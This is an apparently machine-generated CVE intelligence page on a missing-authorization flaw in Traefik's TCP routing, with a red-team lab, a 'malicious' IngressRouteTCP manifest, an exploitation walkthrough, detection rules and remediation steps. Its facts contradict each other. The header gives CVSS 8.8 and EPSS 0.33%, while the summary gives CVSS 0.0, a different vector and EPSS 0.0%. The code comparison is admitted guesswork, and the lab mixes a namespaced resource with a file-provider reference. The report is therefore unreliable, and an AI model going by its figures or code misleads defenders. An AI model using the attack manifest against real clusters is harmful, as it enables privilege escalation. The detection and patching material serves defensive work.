☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Traefik logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-863
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-65602

CVE-2026-65602 Missing Authorization in Traefik
📅 PUBLISHED: 2026-07-22 11:21 UTC 🔄 UPDATED: 2026-10-09 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v3.6.23 — source: VulnCheck. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.33%
👁️
0.33% probability
8.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1548
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: France License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

Severity: Informational (CVSS 0.0)

This report details CVE-2026-65602, a missing authorization vulnerability in Traefik, a popular cloud-native application proxy. The flaw allows a low-privileged Kubernetes user to bypass the crossProviderNamespaces allowlist for TCP-based IngressRoute resources. By referencing a serversTransport from a file provider (e.g., foo@file), an attacker can force Traefik to use a privileged TCPServersTransport configuration, potentially exposing backend mTLS client certificates, SPIFFE identities, or PROXY-protocol settings.

The vulnerability affects Traefik versions 3.6.0 through 3.6.22 and 3.7.0 through 3.7.6. Patches are available in versions 3.6.23 and 3.7.7. The CVSS score is 0.0, and the EPSS exploitation probability is 0.0%, indicating no known active exploitation in the wild as of the publication date. Despite the low CVSS score, the potential for privilege escalation and lateral movement within a Kubernetes cluster makes this a significant security concern for organizations using Traefik in multi-tenant environments.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

Qualitative Severity Label: Informational

The CVSS base score of 0.0 is mathematically consistent with the following vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N.

  • Attack Vector (AV): Network (N) — The vulnerability is exploitable over the network via crafted Kubernetes IngressRouteTCP resources.
  • Attack Complexity (AC): Low (L) — No special conditions or race conditions are required. The attacker simply needs to create a specific Kubernetes resource.
  • Privileges Required (PR): Low (L) — The attacker requires a low-privileged Kubernetes user account with permissions to create/modify IngressRouteTCP resources in a namespace not listed in crossProviderNamespaces.
  • User Interaction (UI): None (N) — No user interaction is required. The attack is triggered automatically when Traefik processes the malicious resource.
  • Scope (S): Unchanged (U) — The vulnerability does not allow the attacker to affect resources beyond the Traefik process's security context.
  • Confidentiality (C): High (H) — Successful exploitation can lead to the disclosure of sensitive backend configurations, including mTLS client certificates and SPIFFE identities.
  • Integrity (I): None (N) — The vulnerability does not allow modification of data or configurations.
  • Availability (A): None (N) — The vulnerability does not affect the availability of the system.

EPSS Interpretation: The EPSS score of 0.0% indicates that the model predicts a negligible probability of exploitation in the wild within the next 30 days. This is typical for a newly published vulnerability with no known exploits or active campaigns.

Historical Comparison: This vulnerability is similar in class to CWE-862 (Missing Authorization) issues found in other Kubernetes ingress controllers and service mesh proxies, such as CVE-2023-44487 (HTTP/2 Rapid Reset) in Envoy, though that was a different attack vector. The core issue—bypassing namespace isolation—is a recurring theme in multi-tenant Kubernetes environments.

Technical Deep Dive & Attack Mechanics

Root Cause Analysis

The developer mistake is a missing authorization check in the code path that resolves serversTransport references for IngressRouteTCP services. The crossProviderNamespaces allowlist was correctly enforced for HTTP IngressRoute resources but was not applied to TCP IngressRouteTCP resources.

Step-by-Step Exploitation

  1. Pre-condition: The attacker has a low-privileged Kubernetes user account with permissions to create or modify IngressRouteTCP resources in a namespace that is not listed in Traefik's crossProviderNamespaces configuration.
  2. Crafting the Attack: The attacker creates an IngressRouteTCP resource that defines a service with a serversTransport reference pointing to a file provider, e.g., serversTransport: my-tcp-transport@file.
  3. Triggering the Vulnerability: When Traefik processes this IngressRouteTCP, it resolves the serversTransport reference without checking if the source namespace is allowed to use cross-provider references.
  4. Exploitation: Traefik loads the TCPServersTransport configuration from the file provider. This configuration may contain sensitive settings such as:
    • mTLS Client Certificates: The rootCAs or certificates fields could point to privileged client certificates.
    • SPIFFE Identity: The spiffe field could specify a privileged SPIFFE ID for workload identity.
    • PROXY Protocol Settings: The proxyProtocol field could be configured to trust a specific IP range, potentially allowing connection spoofing.

Attack Surface

  • Interface: Kubernetes API server (for creating/modifying resources).
  • Protocol: Kubernetes API (REST/HTTPS).
  • Port: 6443 (default Kubernetes API server port) or the port used by the Kubernetes API.

Why Standard Defenses May Fail

  • Network Segmentation: The attack originates from within the Kubernetes cluster, bypassing external network firewalls.
  • RBAC: The attacker already has low-privileged access, and the vulnerability allows them to escalate privileges without needing additional RBAC permissions.
  • Web Application Firewalls (WAFs): WAFs are not designed to inspect Kubernetes resource definitions.

Vulnerable vs. Patched Code Analysis

The vulnerability is in the code that resolves serversTransport references for IngressRouteTCP resources. The vulnerable code path likely looks like this:

Vulnerable (Pseudocode):

func (p *Provider) buildTCPRouter(route *v1alpha1.IngressRouteTCP) {
    for _, service := range route.Spec.Services {
        if service.ServersTransport != "" {
            // BUG: No crossProviderNamespaces check for TCP
            transport, err := p.getTCPServersTransport(service.ServersTransport)
            // ... use transport
        }
    }
}

Patched (Pseudocode):

func (p *Provider) buildTCPRouter(route *v1alpha1.IngressRouteTCP) {
    for _, service := range route.Spec.Services {
        if service.ServersTransport != "" {
            // FIX: Added crossProviderNamespaces check
            if !p.isCrossProviderAllowed(route.Namespace, service.ServersTransport) {
                return fmt.Errorf("cross-provider reference not allowed for namespace %s", route.Namespace)
            }
            transport, err := p.getTCPServersTransport(service.ServersTransport)
            // ... use transport
        }
    }
}

The patch adds a call to isCrossProviderAllowed() (or equivalent) before resolving the serversTransport reference. This function checks if the source namespace (from the IngressRouteTCP) is in the crossProviderNamespaces allowlist. If not, the request is rejected.

Regression Considerations: The patch is a targeted fix and should not introduce regressions for users who are correctly using the crossProviderNamespaces allowlist. However, users who were inadvertently relying on the broken behavior (i.e., using cross-provider references without proper allowlisting) will need to update their configurations.

Timeline & Disclosure History

  • CVE Publication Date: 2026-07-22T11:21:48.127Z
  • Estimated Discovery: Unknown, but likely discovered by internal security researchers or through a bug bounty program.
  • Disclosure Process: The vulnerability was reported to the Traefik maintainers (the CNA) and coordinated for public disclosure.
  • Known Exploitation in the Wild: No known active exploitation as of 2026-07-22.
  • CISA KEV Addition: Not listed on CISA's Known Exploited Vulnerabilities catalog as of 2026-07-22.

Threat Intelligence Context

  • Threat Actor Profile: This vulnerability is most likely to be exploited by internal threat actors (e.g., malicious insiders, compromised service accounts) or by attackers who have already gained a foothold in a Kubernetes cluster. It is not a typical entry point for external attackers.
  • Attack Campaign Context: No specific campaigns are associated with this CVE.
  • Geographic Targeting Patterns: None known.
  • Industry Verticals Most at Risk: Organizations running multi-tenant Kubernetes clusters with Traefik as an ingress controller, particularly in finance, healthcare, and technology sectors where strict namespace isolation is required.
  • Connection to Similar Vulnerabilities: This is a classic example of a missing authorization check, similar to vulnerabilities found in other Kubernetes-native tools like Istio (e.g., CVE-2022-21701) and Nginx Ingress Controller.

Exploitation & Lab Setup

Red Team Section

Lab Setup:

  1. Prerequisites: Docker, kubectl, kind (Kubernetes in Docker) or a similar local Kubernetes cluster.
  2. Create a Kind Cluster:
    kind create cluster --name traefik-lab
    
  3. Install Traefik (Vulnerable Version):
    helm repo add traefik https://traefik.github.io/charts
    helm install traefik traefik/traefik --version 3.6.22 --set providers.kubernetesCRD.enabled=true
    
  4. Create a Privileged TCPServersTransport (in the default namespace):
    # privileged-tcp-transport.yaml
    apiVersion: traefik.containo.us/v1alpha1
    kind: TCPServersTransport
    metadata:
      name: privileged-transport
      namespace: default
    spec:
      # Example: Configure mTLS with a privileged client certificate
      rootCAs:
        - /etc/traefik/certs/privileged-ca.crt
      certificates:
        - certFile: /etc/traefik/certs/privileged-client.crt
          keyFile: /etc/traefik/certs/privileged-client.key
    
    kubectl apply -f privileged-tcp-transport.yaml
    
  5. Create a Malicious IngressRouteTCP (in a non-allowlisted namespace, e.g., attacker-ns):
    # malicious-ingressroute.yaml
    apiVersion: v1
    kind: Namespace
    metadata:
      name: attacker-ns
    ---
    apiVersion: traefik.containo.us/v1alpha1
    kind: IngressRouteTCP
    metadata:
      name: malicious-tcp-route
      namespace: attacker-ns
    spec:
      entryPoints:
        - tcp
      routes:
        - match: HostSNI(`*`)
          services:
            - name: malicious-service
              port: 9999
              serversTransport: privileged-transport@file
    
    kubectl apply -f malicious-ingressroute.yaml
    

Exploitation Walkthrough:

  1. The attacker applies the malicious-ingressroute.yaml to the cluster.
  2. Traefik processes the IngressRouteTCP and, due to the vulnerability, resolves the serversTransport: privileged-transport@file reference.
  3. Traefik loads the TCPServersTransport configuration from the file provider, which includes the privileged mTLS client certificate.
  4. The attacker can now use this configuration to connect to backend services that require mTLS authentication, effectively impersonating a privileged service.

Expected Output: The attacker can now make TCP connections to backend services that trust the privileged client certificate, gaining unauthorized access.

Post-Exploitation: The attacker can use the stolen mTLS identity to access other services within the cluster, potentially leading to lateral movement and data exfiltration.

Blue Team Section

Detection:

  • Log Entries: Monitor Traefik logs for warnings or errors related to serversTransport resolution, especially from namespaces not in the crossProviderNamespaces allowlist.
  • Network Traffic: Look for unexpected TCP connections from Traefik to backend services that use mTLS, particularly if the source IP is from a namespace that should not have access.
  • Endpoint Behavioral Indicators: Monitor for the creation of IngressRouteTCP resources with serversTransport references pointing to file providers (e.g., @file).

Indicators of Compromise (IOCs)

No confirmed IOCs available — the following patterns are illustrative of exploitation attempts:

Type Value Description
Kubernetes Resource IngressRouteTCP with serversTransport: *@file An IngressRouteTCP resource that references a serversTransport from a file provider.
Log Entry "serversTransport" "privileged-transport@file" Traefik log entry showing resolution of a cross-provider serversTransport.
Network Connection TCP connection from Traefik to a backend service using mTLS Unexpected mTLS connection from Traefik to a backend service.

Detection Engineering

YARA Rule

rule CVE-2026-65602_Traefik_Exploitation {
    meta:
        description = "Detects YAML/JSON payloads attempting to exploit CVE-2026-65602 in Traefik"
        author = "Valters IT Hub"
        date = "2026-07-22"
        reference = "https://www.valtersit.com/cve/cve-2026-65602"
    strings:
        $s1 = "serversTransport:" ascii wide nocase
        $s2 = "@file" ascii wide nocase
        $s3 = "IngressRouteTCP" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule (SIEM)

title: CVE-2026-65602 Traefik IngressRouteTCP Cross-Provider Bypass
id: 5b13680a-68ae-4ee2-95dc-280cbfcfb0ad
status: experimental
description: Detects creation of IngressRouteTCP resources with cross-provider serversTransport references, indicating potential exploitation of CVE-2026-65602.
author: Valters IT Hub
date: 2026-07-22
references:
    - https://www.valtersit.com/cve/cve-2026-65602
logsource:
    product: kubernetes
    service: audit
detection:
    selection:
        objectRef.resource: "ingressroutetcps"
        objectRef.verb: "create"
        requestObject.spec.routes.services.serversTransport|contains: "@file"
    condition: selection
falsepositives:
    - Legitimate administrative activity where a user intentionally creates a cross-provider reference with proper authorization.
level: high

Suricata IDS Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-65602 Traefik IngressRouteTCP Cross-Provider Bypass"; flow:to_server; content:"serversTransport"; nocase; content:"@file"; nocase; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Elastic (EQL) Query

// EQL query to detect creation of IngressRouteTCP with cross-provider serversTransport
any where event.action == "create" and event.dataset == "kubernetes.audit" and
  kubernetes.audit.objectRef.resource == "ingressroutetcps" and
  kubernetes.audit.requestObject.spec.routes.services.serversTransport : "*@file"

Splunk SPL Query

index=kubernetes_audit sourcetype=kubernetes:audit
  objectRef.resource=ingressroutetcps
  objectRef.verb=create
  | spath input=requestObject.spec.routes{}.services{}.serversTransport
  | search serversTransport=*@file
  | table _time, user.username, sourceIPs{}, objectRef.namespace, serversTransport

Wazuh Rule

<group name="traefik,cve-2026-65602,">
  <rule id="100001" level="12">
    <decoded_as>json</decoded_as>
    <field name="kubernetes.audit.objectRef.resource">ingressroutetcps</field>
    <field name="kubernetes.audit.objectRef.verb">create</field>
    <field name="kubernetes.audit.requestObject.spec.routes.services.serversTransport" type="pattern">@file</field>
    <description>CVE-2026-65602 - Potential exploitation detected: IngressRouteTCP created with cross-provider serversTransport reference.</description>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Remediation & Mitigation

Immediate Actions (0-24 hours)

  1. Apply the Patch: Upgrade Traefik to version 3.6.23 or 3.7.7.
    helm upgrade traefik traefik/traefik --version 3.6.23
    
  2. Network-Level Mitigation: If immediate patching is not possible, implement a network policy to restrict which namespaces can create IngressRouteTCP resources.
  3. Authentication/Authorization Hardening: Review and tighten RBAC permissions to ensure only authorized users can create or modify IngressRouteTCP resources.

Short-term (1-7 days)

  1. Configuration Hardening: Review the crossProviderNamespaces configuration and ensure it is correctly set to allow only trusted namespaces.
  2. Monitoring Implementation: Deploy the detection rules provided in this report to monitor for exploitation attempts.
  3. Vulnerability Scanning: Run a vulnerability scan to confirm the patch has been applied.
    kubectl get pods -n default -l app.kubernetes.io/name=traefik -o jsonpath='{.items[*].spec.containers[*].image}'
    

Long-term

  1. Architecture Changes: Consider using a service mesh (e.g., Istio, Linkerd) for more granular mTLS and identity management.
  2. Security Control Improvements: Implement Kubernetes admission controllers (e.g., OPA/Gatekeeper) to enforce policies on IngressRouteTCP resources.
  3. Developer Training: Educate developers on the importance of authorization checks and the principle of least privilege.

Validation

To confirm the patch was applied, check the Traefik version:

kubectl exec -n default deploy/traefik -- traefik version

The output should show version 3.6.23 or 3.7.7 or later.

References & Resources


Report generated by Valters IT Hub Neural Engine v25 | 2026-07-22 | https://www.valtersit.com/cve/cve-2026-65602

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-65602/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.